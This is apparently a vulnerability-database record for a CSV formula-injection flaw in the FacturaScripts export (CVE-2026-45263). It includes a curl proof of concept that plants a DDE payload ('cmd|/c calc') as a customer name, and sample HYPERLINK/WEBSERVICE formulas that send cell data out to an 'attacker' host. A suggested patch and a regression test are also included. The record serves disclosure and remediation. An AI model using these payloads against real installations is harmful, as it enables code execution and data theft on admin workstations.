{"id":"CVE-2026-45263","kind":"vulnerability","aliases":["CVE-2026-45263","GHSA-2p5x-4jr6-x5jg"],"related":[],"title":"FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export","description":"## Summary\n\n> **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = \"=SUM(1+1)*cmd|/c calc!A1\"`. An admin then exported `ListCliente` to CSV via `?action=export&option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|'/c calc'!A1` that spawn arbitrary processes on the admin workstation.\n\n`Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`\"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\\t`, or `\\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`< > \" '`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.\n\n## Details\n\n### the export does not neutralise leading meta-characters\n\n`Core/Lib/Export/CSVExport.php:253-267`:\n\n```php\npublic function writeData(array $data, array $fields = [])\n{\n    if (!empty($fields)) {\n        $this->writeHeader($fields);\n    }\n\n    foreach ($data as $row) {\n        $line = [];\n        foreach ($row as $cell) {\n            $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell;\n        }\n\n        $this->csv[] = implode($this->separator, $line);\n    }\n}\n```\n\nA string cell is rendered as `\"<value>\"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \\t \\r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as \"force as text\". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`.\n\n### the upstream sanitiser only scrubs HTML, not formulas\n\n`Core/Tools.php:45-46`:\n\n```php\nconst HTML_CHARS = ['<', '>', '\"', \"'\"];\nconst HTML_REPLACEMENTS = ['&lt;', '&gt;', '&quot;', '&#39;'];\n```\n\n`Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim.\n\n### the export controller hands the payload back to whoever triggers it\n\n`Core/Lib/Export/CSVExport.php:240-245`:\n\n```php\npublic function show(Response &$response)\n{\n    $response->headers->set('Content-Type', 'text/csv; charset=utf-8');\n    $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv');\n    $response->setContent($this->getDoc());\n}\n```\n\n`Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.\n\n### default permission model exposes the data ingestion\n\nA user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export&option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content.\n\n## PoC\n\n```bash\n# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.\n#    (script in advisory environment, see also the prompt's helper).\n\n# 1. Log in as the low-privilege user and obtain a CSRF token.\nTOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \\\n  | grep -oP 'name=\"multireqtoken\" value=\"\\K[^\"]+' | head -1)\ncurl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \\\n  --data-urlencode \"fsNick=lowpriv\" \\\n  --data-urlencode \"fsPassword=lowpriv1234\" \\\n  --data-urlencode \"multireqtoken=$TOKEN\" \\\n  --data-urlencode \"action=login\" \\\n  http://127.0.0.1:8081/login -o /dev/null\n\n# 2. Get a fresh CSRF token for the EditCliente form.\nTOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \\\n  | grep -oP 'multireqtoken\" value=\"\\K[^\"]+' | head -1)\n\n# 3. Plant a Dynamic Data Exchange payload as the customer name.\ncurl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \\\n  --data-urlencode \"multireqtoken=$TOKEN\" \\\n  --data-urlencode \"action=insert\" \\\n  --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \\\n  --data-urlencode \"cifnif=11111111H\" \\\n  -o /dev/null\n\n# 4. As any admin, trigger the standard list-customers CSV export.\ncurl -s -b /tmp/fs-cookie2 \\\n  'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \\\n  -o /tmp/export.csv\n\n# 5. Confirm the formula payload survives unsanitised.\ngrep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv\n# Output (verified):\n# \"11111111H\";\"\";\"1\";\"\";...;\"=SUM(1+1)*cmd|/c calc!A1\";\"\";\"\";\"\";\"=SUM(1+1)*cmd|/c calc!A1\";...\n```\n\nOpening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.\n\n## Impact\n\n* **Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover.\n* **Credential theft.** Common variants (`=HYPERLINK(\"https://attacker/?p=\" & A1, \"Click\")`, `=WEBSERVICE(\"https://attacker/?p=\" & A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell.\n* **Trust laundering.** Because the file came from \"our own ERP\" the admin has no reason to suspect the attachment, defeating the \"do not run untrusted spreadsheets\" hygiene that would otherwise apply.\n* **Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.\n\n`AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`.\n\n## Recommended Fix\n\nNeutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation.\n\n```php\nprivate const FORMULA_TRIGGERS = ['=', '+', '-', '@', \"\\t\", \"\\r\"];\n\npublic function writeData(array $data, array $fields = [])\n{\n    if (!empty($fields)) {\n        $this->writeHeader($fields);\n    }\n\n    foreach ($data as $row) {\n        $line = [];\n        foreach ($row as $cell) {\n            if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) {\n                $cell = \"'\" . $cell;          // force-as-text per OWASP CSV-injection prevention\n            }\n\n            $line[] = is_string($cell)\n                ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter()\n                : $cell;\n        }\n\n        $this->csv[] = implode($this->separator, $line);\n    }\n}\n```\n\nApply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.\n\nA regression test should:\n\n1. Insert a customer with `nombre = '=SUM(1+1)'`.\n2. Render the list to CSV via `CSVExport->writeData()`.\n3. Assert the resulting line begins with `\"'=SUM(1+1)\"`, not `\"=SUM(1+1)\"`.\n4. Assert `nombre` containing an embedded delimiter (`a\"b`) is correctly doubled to `\"a\"\"b\"`.\n\nDefence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet's \"Import Text\" / \"From Text/CSV\" wizard until the application is upgraded.","summary":"FacturaScripts writes user-entered text such as customer names into CSV exports without neutralising leading formula characters. A low-privilege user can plant a spreadsheet formula that runs in the admin's Excel or LibreOffice when the export is opened, which can launch programs or exfiltrate adjacent cell data.","severity":"high","cvss":8.0,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"facturascripts/facturascripts","fixed":["2026.2"],"affected":"<= 2026.1","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["cwe-1236","facturascripts","package","php","self-hosted","spreadsheets"],"not_affected_if":["fully-trusted-users","no-csv-export-use"],"how_to_check":"- Check the installed version with `composer show facturascripts/facturascripts` and compare it with the affected range (2026.1 and earlier).\n- Confirm the composer package is the one in use, the Core/Lib/Export/CSVExport.php file in the installed code.","fix":"- `facturascripts/facturascripts`: move to `2026.2`","status":"open","published_at":"2026-07-14T17:18:48+00:00","first_seen_at":"2026-11-02T23:04:40+00:00","triaged_at":"2026-11-02T23:04:46+00:00","updated_at":"2026-11-02T23:04:46+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-02T23:04:46Z","model":"claude-haiku-5-5","output":{"fix":"- `facturascripts/facturascripts`: move to `2026.2`","reach":"internet","title":"FacturaScripts: CSV exports let spreadsheet formulas run on admin machines","impact":"high","summary":"FacturaScripts writes user-entered text such as customer names into CSV exports without neutralising leading formula characters. A low-privilege user can plant a spreadsheet formula that runs in the admin's Excel or LibreOffice when the export is opened, which can launch programs or exfiltrate adjacent cell data.","audience":"businesses","category":"package","nicknames":[],"who_cares":["facturascripts","php","self-hosted","spreadsheets"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Admin workstation runs attacker formula, possibly launching programs","analyst_note":"","how_to_check":"- Check the installed version with `composer show facturascripts/facturascripts` and compare it with the affected range (2026.1 and earlier).\n- Confirm the composer package is the one in use, the Core/Lib/Export/CSVExport.php file in the installed code.","plain_action":"","needs_analyst":false,"not_affected_if":["no-csv-export-use","fully-trusted-users"],"who_is_affected":"Any FacturaScripts installation at 2026.1 or earlier is exposed where users with data-entry roles can create or edit customers, suppliers, products or contacts and where administrators export those lists to CSV and open them in a spreadsheet application. Installations that never export lists, or where only trusted staff can write records, face less risk but should still upgrade.","user_interaction":"yes","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.001093,"input_tokens":7978,"output_tokens":591,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'+1':124C '-04':101C '-1236':37B '-2026':25A,33A '-245':500C '-267':317C '-30':102C '-321':455C '-45263':26A,34A '-46':427C '-8':516C '/c':126C,179C '1':123C '127.0.0.1':109C '2026':100C '240':499C '253':316C '2p5x':29A '319':454C '45':235C,426C '4jr6':30A '8081':110C 'a1':128C,181C 'access':600C 'action':137C,629C 'addbusinessdocpag':414C 'addlistmodelpag':412C 'addmodelpag':413C 'addtablepag':416C 'adjac':93B 'admin':20A,77B,130C,188C,253C,282C,292C,301C,568C,573C,619C 'allow':7A 'alphabet':471C 'angl':458C 'applic':210C 'arbitrari':184C 'array':322C,324C 'attach':523C,535C 'attack':260C,563C 'authent':8A 'back':493C 'billing/sales/purchasing':288C 'blast':584C 'bracket':459C 'browser':541C 'calc':127C,180C 'call':444C 'canon':439C 'caus':540C 'cell':94B,151C,194C,213C,340C,344C,347C,350C,359C 'char':431C 'charact':62B,205C,239C,314C,374C,476C 'charset':514C 'check':369C 'click':548C 'client':295C,450C,608C 'cmd':125C,178C 'collid':465C 'column':155C 'concaten':200C 'configur':197C 'const':429C,432C 'consum':250C 'contacto':612C 'contain':144C 'content':511C,521C,533C 'content-disposit':520C,532C 'content-typ':510C 'context':304C,579C 'control':489C,627C 'core/lib/export/csvexport.php':190C,315C,498C 'core/model/cliente.php':453C 'core/tools.php':234C,425C 'creat':117C 'csv':2A,56B,135C,140C,285C,352C,380C,527C,538C,632C 'csv-inject':379C 'csvexport':6A 'custom':53B,119C 'cve':24A,32A 'cwe':36B 'data':95B,323C,333C,591C 'dde':174C 'default':279C,561C,586C,605C 'delimit':198C 'detail':305C 'disposit':522C,534C 'document':409C 'doubl':547C 'double-click':546C 'download':142C,283C,550C 'downstream':249C 'e.g':449C 'emit':484C 'empti':327C 'enter':49B 'entir':580C 'escap':163C 'etc':613C 'everi':193C,406C 'excel':79B,164C,391C 'excel/libreoffice/numbers':555C 'execut':17A,168C,559C 'exfiltr':92B 'export':23A,57B,84B,132C,138C,247C,257C,281C,307C,410C,482C,488C,606C,620C,630C 'expos':589C 'extens':539C 'facturascript':1A,38B,45B,106C,224C,583C 'facturascripts/facturascripts':35A 'field':274C,325C,328C,331C 'file':143C,545C,551C 'filenam':524C 'filter':441C 'first':150C,204C 'forc':397C 'foreach':332C,337C 'formula':3A,61B,72B,170C,222C,237C,298C,372C,424C,469C,558C 'formula-inject':468C 'function':320C,503C 'getdelimit':346C,349C 'getdoc':531C 'getfilenam':526C 'ghsa':28A 'ghsa-2p5x-4jr6-x5jg':27A 'give':258C 'guard':389C 'guidanc':382C 'hand':490C 'handoff':263C 'header':508C,518C 'honour':557C 'host':43B 'html':227C,422C,430C,433C 'implod':353C 'includ':173C 'ingest':592C 'inject':4A,381C,470C 'input':440C 'insert':599C 'inspect':202C 'interpret':211C 'invoc':175C 'launch':89B 'lead':60B,158C,311C,385C 'libreoffic':81B,166C,393C 'line':336C,341C,356C 'list':280C,407C 'listclient':133C 'live':97C 'local':303C 'low':10A,65B,113C,265C 'low-priv':9A,264C 'low-privileg':64B,112C 'lowpriv':116C 'machin':570C 'master':107C 'meta':313C 'meta-charact':312C 'metacharact':228C 'method':448C 'model':443C,588C,607C 'name':54B 'need':597C 'neutralis':59B,310C 'nohtml':233C,436C 'nombr':121C,154C 'none':462C 'normal':287C 'one':602C 'open':21A,86B,172C,552C 'option':139C,631C 'outsid':581C 'owasp':378C 'packag':39B 'payload':15A,147C,270C,492C,564C,617C 'per':377C 'permiss':587C 'php':40B,318C,428C,501C 'pipelin':483C 'plant':14A,69B,268C,615C 'plus':536C 'poc':98C 'prefix':238C 'priv':11A,266C 'privileg':66B,114C,575C 'process':185C 'producto':610C 'program':90B 'proveedor':609C 'public':319C,502C 'quot':160C,388C,461C 'r':219C,376C 'radius':585C 'raw':146C 'reach':477C 'reachabl':623C 'reliabl':262C 'render':361C 'replac':434C 'respons':505C,506C,507C,517C,528C 'result':474C 'reus':404C 'role':595C 'row':335C,338C 'run':74B,296C,565C 'sanitis':226C,419C 'save':230C,543C 'scrub':421C 'secur':578C 'self':42B 'self-host':41B 'separ':355C 'set':509C,519C 'setcont':529C 'ship':276C 'show':504C 'singl':159C,387C 'single-quot':386C 'spawn':183C 'spreadsheet':44B,71B,209C,294C 'start':215C,367C 'stock':105C 'storag':478C 'str':366C 'string':343C,358C 'strip':457C 'sum':122C 'summari':96C 'surfac':621C 'surviv':240C 'test':447C,451C 'text':50B,273C,399C 'text/csv':513C 'tool':232C,435C 'treat':395C 'trigger':255C,373C,496C 'type':512C 'untouch':241C 'updat':598C 'upstream':418C 'user':12A,48B,67B,115C,267C,594C 'user-ent':47B 'utf':515C 'valu':208C 'variant':611C 'verbatim':479C,486C 'verifi':99C 'via':136C,231C,628C 'way':244C 'whoever':495C 'without':58B,201C 'workflow':289C 'workstat':189C 'wrap':192C 'write':46B 'writedata':191C,321C 'writehead':330C 'writer':402C 'x5jg':31A","nicknames":[],"mitigations":[],"who_affected":"Any FacturaScripts installation at 2026.1 or earlier is exposed where users with data-entry roles can create or edit customers, suppliers, products or contacts and where administrators export those lists to CSV and open them in a spreadsheet application. Installations that never export lists, or where only trusted staff can write records, face less risk but should still upgrade.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["facturascriptsfacturascripts"],"ptokens":["facturascripts"],"labels":["composer","cwe1236","facturascripts","high","package","php","selfhosted","spreadsheets"],"first_public_at":"2026-07-14T17:18:48+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-2p5x-4jr6-x5jg","url":"https://github.com/advisories/GHSA-2p5x-4jr6-x5jg","severity":"high","published_at":"2026-07-14T17:18:48+00:00","modified_at":"2026-11-02T23:01:56+00:00","first_seen_at":"2026-11-02T23:04:40+00:00","fetched_at":"2026-11-02T23:04:40+00:00","note":null}],"documents":[{"id":54296,"url":"https://api.github.com/repos/NeoRazorX/facturascripts/security-advisories/GHSA-2p5x-4jr6-x5jg","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":54297,"url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-2p5x-4jr6-x5jg","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":54298,"url":"https://github.com/NeoRazorX/facturascripts/commit/ef417b5ad","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}